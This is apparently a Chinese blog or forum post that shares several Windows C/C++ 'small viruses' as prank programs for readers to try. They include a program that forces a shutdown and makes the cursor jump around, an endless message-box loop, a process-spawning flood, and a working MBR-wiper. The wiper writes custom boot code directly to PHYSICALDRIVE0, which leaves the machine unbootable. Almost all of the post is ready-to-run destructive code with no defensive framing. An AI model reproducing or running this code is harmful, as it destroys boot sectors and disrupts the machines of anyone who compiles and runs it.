你是第个来看我的大犇！

一些小病毒

//让鼠标“鸡飞狗跳”
#include<windows.h>
#include<bits/stdc++.h>
using namespace std;
int main()
{
    system("Shutdown -s -t 60");
    HWND hwnd;
    hwnd=FindWindow("ConsoleWindowClass",NULL);
    if(hwnd) ShowWindow(hwnd,SW_HIDE);
	int x=GetSystemMetrics(SM_CXSCREEN);
	int y=GetSystemMetrics(SM_CYSCREEN);
	srand(time(0));
	while(1)cout<<"Oh！！！"<<endl&&SetCursorPos(rand()%x,rand()%y);
}








//清除MBR,会显示 Fuck you ^_^ //:-（慎用！）
​
#include <windows.h>
#include <winioctl.h>
 
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
/*
00000000  B81200 mov ax, 12H ; ah = 0, al = 12h (640 * 480)
00000003  CD10 int 10h ; 进入图形显示方式，隐藏光标
00000005  BD187C mov bp, Msg ; ES:BP = 串地址
00000008  B91800 mov cx, 18h ; CX = 串长度
0000000B  B80113 mov ax, 1301h ; AH = 13,  AL = 01h
0000000E  BB0C00 mov bx, 000ch ; 页号为0(BH = 0) 黑底红字(BL = 0Ch,高亮)
00000011  BA1D0E mov dx, 0e1dh ; dh行, dl列
00000014  CD10 int 10h ; 10h 号中断
00000016  E2FE loop $
Msg: db " Fuck you ^_^ :-)"
*/
int  main()
{
	HANDLE hDevice;
	DWORD dwBytesWritten, dwBytesReturned;
	BYTE pMBR[512] = { 0 };
	memcpy(pMBR, scode, sizeof(scode) - 1);
	pMBR[510] = 0x55;
	pMBR[511] = 0xAA;
 
	hDevice = CreateFile
	(
		L"\\\\.\\PHYSICALDRIVE0",
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		0,
		NULL
	);
	if (hDevice == INVALID_HANDLE_VALUE)
		return -1;
	DeviceIoControl
	(
		hDevice,
		FSCTL_LOCK_VOLUME,
		NULL,
		0,
		NULL,
		0,
		&dwBytesReturned,
		NULL
	);
	WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
	DeviceIoControl
	(
		hDevice,
		FSCTL_UNLOCK_VOLUME,
		NULL,
		0,
		NULL,
		0,
		&dwBytesReturned,
		NULL
	);
	CloseHandle(hDevice);
	return 0;
}
 
​





//无限弹窗
#include <windows.h>
#pragma comment (lib, "User32.lib")
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){
    while(1){
    MessageBox(NULL, TEXT("关不掉吧！"), TEXT("中病毒啦~~你这个SB！"), MB_OK);
	}
    return 0;
}








//显示变红
#include<windows.h>
#include<bits/stdc++.h>
using namespace std;
int main()
{ 
system("color 40");
}






//显示多个文件（强大）
#include<iostream>
#include<windows.h>
#include<stdio.h>
#include<fstream>
using namespace std;
 
 
 
int main()
{
	system("color 8F");
	int result = MessageBox(MB_APPLMODAL,"请问是否要启动该程序？若启动，会占用较大cpu，此程序无毒！","来自小程序猿的温馨提示",MB_ICONASTERISK|MB_YESNO);
    if (result == IDNO)
    {
    	return 0;
	}
	else 
	{
		int x,y; 
		
		
	    for (int a=0;a<10000;a++)
        {
		    x = rand()%801;
            y = rand()%601;
            SetCursorPos(x,y);
            
        }
        for (int b=0;b<3;b++)
        {
		
            system("start notepad");
    	    system("start calc");
    	    
    	    system("start winver");
    	    
    	    system("start cmd");
    	    system("start Nslookup");
    	   
    	    system("start ");
    	    
    	    
    	    system("start cleanmgr");
    	   
    	    system("start charmap");
    	    
    	    system("start calc");
    	    
    	    system("start calc");
    	    system("start dxdiag");
    	    
    	    system("start cmd");
    	    system("start cmd");
    	    system("start cmd");
    	   
    	    system("start taskmgr");
    	    system("start ");
    	    system("start wiaacmgr");
    	    system("start  mspaint");
    	    system("start mmc");
    	    system("start ");
    	    
        }
        system("start dxdiag");
        Sleep(2000);
		system("taskkill /im notepad.exe") ;
		system("taskkill /im calc.exe") ;
        system("taskkill /im dxdiag.exe") ;
		system("taskkill /im winver.exe") ;
		
		system("taskkill /im  cmd.exe") ;
        system("taskkill /im Nslookup.exe") ;
		
		
		
       
		system("taskkill /im cleanmgr.exe") ;
		
		system("taskkill /im charmap.exe") ;
        
	
	
	
		system("taskkill /im taskmgr.exe") ;
        
		system("taskkill /im wiaacmgr.exe") ;
		system("taskkill /im mspaint.exe") ;
        system("taskkill /im mmc.exe") ;
		
		
        for (int c=0;c<5;c++)
        {
        	system("start notepad");
		}
		system("taskkill /im notepad.exe") ;
		
		for (int d=0;d<5;d++)
        {
        	system("start calc");
		}
		system("taskkill /im calc.exe") ;
		for (int l=0;l<10;l++)
        {
        	system("start calc");
		}
		system("taskkill /im calc.exe") ;
		for (int m=0;m<15;m++)
        {
        	system("start calc");
		}
		system("taskkill /im calc.exe") ;
		
		for (int f=0;f<20;f++)
        {
        	system("start calc");
		}
		system("taskkill /im calc.exe") ;
		for (int n=0;n<10;n++)
        {
        	system("start calc");
		}
		system("taskkill /im calc.exe") ;
		for (int q=0;q<15;q++)
        {
        	system("start cmd");
		}
		system("taskkill /im cmd.exe") ;
		for (int r=0;r<20;r++)
        {
        	system("start taskmgr");
		}
		system("taskkill /im taskmgr.exe") ;
		for (int g=0;g<10;g++)
        {
        	system("start mmc");
		}
		for (int h=0;h<10;h++)
        {
            system("start ");
		}
		ofstream out;
		out.open("eason.bat");
		out<<"dir/s";
		out.close();
		for (int i=0;i<5;i++)
		{
			system("start eason.bat");
		}
		ofstream oo;
		oo.open("eason2.bat");
		oo<<"tree";
		oo.close();
		for (int j=0;j<5;j++)
		{
			system("start eason2.bat");
		}
		//接下来我要把程序都关了
		
		
		system("taskkill /im taskmgr.exe") ;
	    system("taskkill /im mmc.exe") ;
		system("taskkill /im /f cmd.exe") ;
		system("taskkill /im cmd.exe") ;
		system("taskkill /im calc.exe") ;
	    for (int k=0;k<10000;k++)
        {
		    x = rand()%801;
            y = rand()%601;
            SetCursorPos(x,y);
        }
        ofstream o;
        o.open("easo.txt");
        o<<"（づ￣3￣）づ╭?～"<<'\n'<<"程序到此便结束了ヾ(=?ω?=)o"<<'\n'<<"制作者：小程序猿"<<'\n'<<"bye!"<<'\a';
		o.close();
		system("start easo.txt");
		for (int p =0;p<5;p++)
		{
		
		
		    system("shutdown -s");
		    Sleep(100);
		    system("shutdown -a");
	    }
		remove("eason.bat");
		remove("eason2.bat");
		remove("easo.txt");
	    result = MessageBox(MB_APPLMODAL,"程序已结束！","来自***的温馨提示",MB_ICONASTERISK|MB_OK);
		return 0;
    }
}

可以尝试， 编编已经尝试过了，差点死机